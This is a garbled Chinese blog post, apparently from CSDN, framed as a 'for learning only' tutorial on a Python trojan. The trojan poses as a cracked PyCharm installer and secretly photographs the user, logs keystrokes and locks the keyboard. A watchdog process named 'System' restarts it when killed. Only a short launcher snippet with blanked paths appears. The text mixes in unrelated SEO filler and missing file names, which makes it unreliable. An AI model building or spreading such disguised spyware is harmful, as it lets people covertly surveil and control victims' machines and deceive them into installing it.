大家好,给大家分享一下c语言和python语言各自特点,很多人还不知道这一点。下面详细解释一下。现在让我们来看看!
大家好,本文将围绕python简单的病毒编程代码展开说明,如何用python做恶搞病毒是一个很多人都想弄明白的事情,想搞清楚python写病毒的教程需要先了解以下几个事情用Python画简单笑脸代码。
文仅供学习和测试,请勿用于非法用途。
前言
花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入、关于opencv等等,主要其实做了一些拼接、打包、部署python雨点特效。
写这篇博客并不真的想去写病毒攻击别人,而是想告诉大家简单的病毒的原理以及其实我们py学好了,也有能力做出来,并不算难。
写这个东西的人挺少的。那么,我们开始吧。注:本文源码并不会直接公布于博客,希望对其有兴趣的朋友点击蓝色字体:python神经网络CSDN神经网络CSDN以及群交流解答点击即可加入 获取,以防不法用途,我可不想吃国家饭(牢饭)。
病毒原理
三个.exe: Pycharm破解版.exe 、 、
首先我们有个伪装的程序,比如相信有很多程序猿都去下载过 XXX软件破解版 ,我们这里以"Pycharm破解版"为例。
我们会给用户下载一个压缩包【Pycharm破解版】,里面一定会有很多奇奇怪怪的东西,然后我们把三个.exe也放在里面。
当用户打开 时,会去调用 、 ,以及 正常的Pycharm程序 ,这样用户就难以发现。
其中调用的 就是我们核心的病毒程序了,我给它加了三个功能:不定时拍照、记录用户的输入、偶尔锁下用户键盘。
刚才还启用了一个 ,当用户发现了我们的主病毒程序,去任务管理器杀掉了主病毒进程,此时这个 进程就会不断去重启病毒程序。
而且一般人其实是不敢去杀一个叫 System 的进程的,对吧。这样,就算是有点经验的程序员,也难不中招。
源码解析
用于处理多线程错乱的问题
Pycharm破解版.py
import os import subprocess import time import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing if __name__ == '__main__': multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 os.chdir(r'.') #subprocess.Popen(r'') # 真正的pychamr程序 subprocess.Popen(r'') # 负责无限重启病毒程序 time.sleep(20)
这一块儿主要是去调用一个 病毒程序 和进行对用户的 欺骗 程序,应该不难理解。
原文地址:https://blog.csdn.net/2301_79533350/article/details/134923142